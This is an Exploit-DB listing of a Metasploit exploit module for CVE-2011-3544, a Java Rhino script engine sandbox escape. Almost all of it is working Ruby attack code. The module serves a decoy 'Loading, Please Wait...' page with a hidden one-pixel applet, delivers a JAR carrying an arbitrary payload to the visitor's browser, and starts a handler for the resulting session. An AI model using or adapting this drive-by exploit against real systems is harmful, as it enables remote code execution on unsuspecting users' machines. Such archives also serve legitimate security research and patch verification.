Java Applet Rhino Script Engine Remote Code Execution



EDB-ID: 18171 CVE: 2011-3544 OSVDB-ID: 76500
Author: metasploit Published: 2011-11-30 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',
			'Description'   => %q{
					This module exploits a vulnerability in the Rhino Script Engine that
				can be used by a Java Applet to run arbitrary Java code outside of
				the sandbox.  The vulnerability affects version 7 and version 6 update
				27 and earlier, and should work on any browser that supports Java
				(for example: IE, Firefox, Google Chrome, etc)
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Michael Schierl', # Discovery
					'juan vazquez',    # metasploit module
					'Edward D. Teach <teach@consortium-of-pwners.net>',
					'sinn3r'
				],
			'References'    =>
				[
					[ 'CVE', '2011-3544' ],
					[ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
					[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
				],
			'Platform'      => [ 'java', 'win', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					[ 'Apple OSX',
						{
							'ARCH' => ARCH_X86,
							'Platform' => 'osx'
						}
					],
					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 18 2011'
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + '/', '')
				return
			end

			print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		paths = [
			[ "Exploit.class" ]
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join("/") + "/"
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, '')
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
			data = fd.read(fd.stat.size)
			jar.add_file(path.join("/"), data)
			fd.close
		end

		print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html
		html  = "<html><head><title>Loading, Please Wait...</title></head>"
		html += "<body><center><p>Loading, Please Wait...</p></center>"
		html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
		html += "</applet></body></html>"
		return html
	end

end